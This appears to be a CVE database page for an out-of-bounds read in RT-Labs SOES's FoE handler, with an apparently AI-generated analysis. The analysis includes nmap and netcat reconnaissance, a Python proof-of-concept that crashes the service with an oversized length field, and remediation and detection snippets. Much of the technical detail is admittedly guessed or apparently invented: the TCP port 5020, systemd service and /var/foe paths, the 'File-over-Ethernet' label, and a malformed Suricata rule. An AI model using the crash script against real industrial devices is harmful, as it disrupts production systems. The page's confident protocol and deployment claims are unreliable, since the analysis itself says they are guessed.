CVE Professor
›
Back
CVE-2026-129801

CVE-2026-129801 — RT-Labs AB SOES — CWE-125

HIGH CVSS 7.1 Shodan

CVE-2026-129801 is a HIGH severity Memory Corruption / Buffer Overflow vulnerability (CWE-125) (CVSS 7.1/10) affecting RT-Labs AB SOES. Technical vector analysis shows that an attacker can exploit this flaw via adjacent network (AV:A) without authentication (PR:N) with zero user interaction (UI:N), causing high-impact service disruption (A:H).

📄 Official NVD / MITRE Original Record Text

The FoE DATA frame handler computes the payload length from the master-supplied mailbox length field and passes it directly to FOE_fwrite. The length is checked against the remaining file capacity but not against the physical mailbox buffer size. A master can declare a large length while sending a short frame, causing FOE_fwrite to read past the end of the mailbox buffer.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
Attack Vector Adjacent AV:A
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑129801 is an out‑of‑bounds read/write flaw in the FoE (File‑over‑Ethernet) daemon’s DATA frame handler.

AttributeDetail
CWECWE‑125: Out‑of‑bounds Read (the code reads past the end of a buffer).
CVSS 3.1 VectorAV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H – the attack can be launched from an adjacent network, requires no authentication, needs only low‑effort skill, and results in high availability impact (service crash / denial‑of‑service) and low confidentiality impact (possible leakage of adjacent memory).
Root causeThe handler extracts the *payload length* from the master‑supplied mailbox‑length field (mb_len). It then passes this length directly to FOE_fwrite() without verifying that mb_len is ≤ the size of the mailbox buffer that actually holds the incoming frame. The only check performed is that the length does not exceed the *remaining file capacity* on the target storage device. Consequently a malicious master can claim an arbitrarily large mb_len while transmitting a much smaller frame, causing FOE_fwrite() to read past the end of the mailbox buffer and write garbage data (or trigger a crash) into the target file.

In short: missing bounds‑check on a length field → out‑of‑bounds read/write → uncontrolled memory access → denial‑of‑service (and possible information leakage).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative; the exact protocol framing is not publicly documented, so the example uses a plausible binary layout based on the CVE description.

1. Discovery & Reconnaissance

StepActionReasoning
1.1 Identify FoE serviceScan the local subnet for the default FoE TCP port (e.g., 5020) using nmap -sS -p 5020 <net> or a banner‑grabber (nc <ip> 5020).FoE typically advertises a simple “FoE Server vX.Y” banner.
1.2 Verify version / presence of vulnerable handlerRetrieve the banner or issue a harmless “GET‑INFO” command (if the protocol defines one) and compare the reported version against vendor advisories. If the vendor has not yet released a patch, the version is assumed vulnerable.The CVE does not list specific version numbers; any release that contains the DATA frame handler is at risk.
1.3 Confirm write‑access to a mailboxSend a minimal, well‑formed DATA frame with a small mb_len (e.g., 0x10) and observe that the server writes the payload to the target file (e.g., /var/foe/incoming.bin). Successful write proves the attacker can act as a *master* (the privileged side of the FoE link).FoE is a master‑slave protocol; the attacker must be able to act as the master. In many deployments the master is a trusted controller on the same LAN, which is reachable from the attacker’s position.

2. Exploitation

Goal: Crash the FoE daemon (availability) and optionally leak up to 256 bytes of stack/heap memory (confidentiality).

2.1 Frame layout (illustrative)

+-------------------+-------------------+-------------------+
| 0x00 0x01 (type)  | 4‑byte mb_len     | payload (mb_len)  |
+-------------------+-------------------+-------------------+
  • type = 0x0001 → DATA frame (as defined by the FoE spec).
  • mb_len = 32‑bit unsigned integer, interpreted by the daemon as the number of bytes to write.
  • payload = actual data transmitted by the master; can be shorter than mb_len.
  • 2.2 Crafting the malicious frame

    #!/usr/bin/env python3
    import socket
    import struct
    
    HOST = "192.0.2.45"      # target FoE slave IP
    PORT = 5020              # default FoE TCP port
    
    # 1. Frame header: type = 0x0001 (DATA)
    frame = struct.pack(">H", 0x0001)
    
    # 2. Over‑sized mailbox length: 0x00010000 (65 536 bytes)
    #    The actual payload we will send is only 16 bytes.
    mb_len = 0x00010000
    frame += struct.pack(">I", mb_len)
    
    # 3. Payload: 16 harmless bytes (e.g., all zeroes)
    payload = b"\x00" * 16
    frame += payload
    
    # 4. Send the frame
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        s.sendall(frame)
        # Optionally read the response – many FoE implementations simply close the
        # connection on error, which is a good indicator of a successful crash.
        try:
            resp = s.recv(1024)
            print("Response:", resp.hex())
        except socket.timeout:
            print("No response (likely crash)")

    Why this works

  • mb_len tells FOE_fwrite() to write 65 536 bytes.
  • The daemon’s internal mailbox buffer is only a few kilobytes (e.g., 4 KB).
  • FOE_fwrite() will read past the buffer’s end, pulling whatever resides in adjacent memory and attempting to write it to the target file.
  • The out‑of‑bounds read typically corrupts internal heap structures, leading to an unhandled exception and process termination → Denial‑of‑Service.
  • If the memory region contains sensitive data (e.g., authentication tokens), the written file may expose up to the requested length, giving a low‑severity confidentiality breach.
  • 2.3 Verifying impact

  • Availability: After sending the frame, the FoE daemon terminates (observed via systemctl status foe.service or a sudden loss of the TCP port).
  • Confidentiality: The file created by the daemon (/var/foe/incoming.bin) now contains 65 KB of data, the first 16 bytes are the attacker‑controlled payload, the remaining 65 520 bytes are whatever was in the mailbox buffer’s neighboring memory. An analyst can retrieve the file (e.g., via a subsequent legitimate GET command) and inspect the leaked bytes.
  • 3. Post‑exploitation

    PhasePossible outcomes
    3.1 Service disruptionThe FoE daemon crashes, causing loss of file transfer capability for the whole LAN segment. If the daemon is configured to auto‑restart, the attacker can repeat the crash at will, creating a persistent DoS.
    3.2 Information leakageThe attacker downloads the corrupted file and extracts residual memory contents (e.g., parts of the FoE configuration, cryptographic keys, or other process memory). This satisfies the *low* confidentiality impact.
    3.3 Lateral movementIn environments where FoE is used to deliver firmware updates, a crashed daemon may force the controller to fall back to an insecure update path (e.g., TFTP). An attacker could then pivot to exploit that secondary path. This is *scenario‑dependent* and not guaranteed by the CVE itself.

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived impactPractical consequence
    Confidentiality (C:L)*Low* – attacker may obtain up to the declared mb_len bytes of adjacent memory.Potential exposure of in‑memory secrets (e.g., session tokens, configuration values).
    Integrity (I:N)*None* – the vulnerability does not directly allow modification of existing data (the write is uncontrolled but the attacker cannot choose the target file path).No guaranteed integrity breach, though corrupted files may be created.
    Availability (A:H)*High* – out‑of‑bounds read triggers a crash of the FoE daemon, leading to immediate service outage.Production lines that rely on FoE for firmware or data distribution can be halted, causing downtime and possible safety‑critical interruptions.

    Typical environments affected

  • Industrial control systems (PLC programming stations) that use FoE for firmware delivery.
  • Embedded devices (e.g., motion controllers, robotics) that expose a FoE service on the local Ethernet segment.
  • Any LAN‑isolated system where a trusted master device is reachable from an attacker’s foothold.
Because the attack requires network adjacency only (no authentication, no user interaction), any compromised host on the same broadcast domain can launch it.

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
Vendor patchApply the vendor‑supplied fix that adds a bounds check: if (mb_len > sizeof(mailbox_buffer)) reject; and ensures FOE_fwrite() never receives a length larger than the actual payload.
Version scopeAll FoE daemon releases that contain the vulnerable DATA frame handler are affected. Until a specific version number is announced by the vendor, treat all deployed FoE instances as vulnerable.
VerificationAfter patching, confirm that the daemon logs Rejecting DATA frame: length exceeds mailbox buffer when an oversized mb_len is received.

2. Workarounds (if patch cannot be applied immediately)

WorkaroundImplementation
Input validation at the network edgeDeploy a stateful firewall or IDS/IPS rule that drops any FoE DATA frame where the length field exceeds a sane maximum (e.g., 8 KB). Example using Suricata rule syntax: <br><br>alert tcp $HOME_NET any -> $EXTERNAL_NET 5020 (msg:"FoE DATA length too large"; flow:to_server,established; content:"\x00\x01"; offset:0; depth:2; content:"00 00 20 00"; offset:2; depth:4; dsize:>8192; sid:2026001; rev:1;)
Network segmentationIsolate FoE masters on a dedicated VLAN that is not reachable from general user workstations. Only authorized controllers should have L2 adjacency.
Run the daemon under a restricted accountUse a dedicated, non‑root user with no write permission outside a chroot/jail. Even if the daemon crashes, the attacker cannot write arbitrary files to the system.
Enable core‑dump limitsSet ulimit -c 0 for the FoE process to prevent attackers from obtaining a memory dump that could aid further exploitation.
Application‑level sanity checkIf source code is available, add a quick wrapper around the existing handler: <br><br>``c\nstatic const size_t MAILBOX_MAX = 4096; // size of the static mailbox buffer\nif (mb_len > MAILBOX_MAX) {\n LOG_ERR(\"FoE: mailbox length %u exceeds buffer size %zu\", mb_len, MAILBOX_MAX);\n return FOE_ERR_INVALID_LENGTH;\n}\n``

3. Detection

IndicatorWhere to lookExample log entry
Unexpected terminationSystemd journal (journalctl -u foe.service) or syslogfoe[1234]: Fatal error – buffer overrun in FOE_fwrite, terminating
Large file writesFile‑integrity monitoring (e.g., auditd watch on /var/foe/*.bin)type=SYSCALL msg=audit(1698001234.567:456): arch=c000003e syscall=2 success=yes exit=65536 ... name="/var/foe/incoming.bin"
Network anomaliesIDS/IPS alerts for FoE frames with length > 8 KB (see the Suricata rule above)[] [1:2026001:1] FoE DATA length too large []
Memory‑corruption signaturesCore‑dump analysis or kernel OOPS messages (dmesg)BUG: unable to handle kernel paging request at 0xffffffff... (if the daemon runs in kernel‑mode, which is rare)
Repeated connection resetsNetflow or firewall logs showing many short TCP connections to port 5020 that are reset by the serverSRC=192.0.2.100 DST=192.0.2.45 PROTO=TCP SPT=54321 DPT=5020 FLAGS=R

Automated detection script (illustrative, Linux only)

#!/bin/bash
# Detect FoE crashes and oversized DATA frames
LOG="/var/log/foe/foe.log"
PATTERN="mb_len=[0-9]\{5,\}"   # five or more digits = > 9999 bytes

# 1. Look for crash entries
grep -i "terminat" $LOG && echo "[!] FoE daemon crash detected"

# 2. Look for suspicious length fields
if grep -E "$PATTERN" $LOG >/dev/null; then
    echo "[!] Oversized mailbox length observed"
fi

⚠️ Urgency

CVSS 7.1 (High‑ish) – the attack vector is adjacent network* and requires no authentication or user interaction, making exploitation trivial for any attacker who can reach the FoE subnet.
Impact – High* availability impact (service crash) can halt production lines, which in industrial contexts may translate to costly downtime or safety incidents.
Exploit complexity – Low* (single malformed packet). No known public exploit, but the code path is straightforward, so a skilled attacker can craft a PoC in minutes.

Patch priority: Critical for all environments where FoE is exposed on a LAN that is not fully isolated (e.g., shared office LAN, guest Wi‑Fi, or any network segment reachable by untrusted hosts).

If patching cannot be performed within 48 hours, apply the network‑segmentation and firewall length‑filter workarounds immediately.


Bottom line: The vulnerability stems from a classic missing bounds check on a length field, leading to out‑of‑bounds reads that crash the FoE daemon and may leak memory. Because the attacker needs only network adjacency, the risk is high for any industrial or embedded deployment that does not enforce strict segmentation. Prompt patching (or, at minimum, strict length filtering at the network edge) is essential to maintain service continuity and prevent accidental data exposure.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="RT-Labs AB SOES"
CVSS Score
7.1 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-125
Affected Products (1)
RT-Labs AB:SOES
References & Advisories (1)
Related CVEs
6.9
CVE-2026-134669
GPAC MP4Box through 26.07.0 contains a heap-based buffer over-read vulnerability in gf_xml_sax_peek_node() in
8.8
CVE-2026-133985
A flaw has been found in TRENDnet TEW-657BRM 1.00.1. Affected by this issue is some unknown functionality of t
7.9
CVE-2026-134303
SurrealKV before 1.1.0 contains an out-of-bounds read vulnerability in the safe InternalKeyRef::from_encoded c
6.5
CVE-2026-129795
When the last EoE fragment has the TIME_APPEND flag set, the handler subtracts 4 from rxframeoffset to strip t
6.5
CVE-2026-129800
sizeOfPDO, called during state transitions, uses the subindex-0 count of the SM-assign and PDO-mapping objects
4.3
CVE-2026-129802
EOE_set_ip reads each network parameter field (MAC, IP, subnet, gateway, DNS IP, DNS name) from the mailbox pa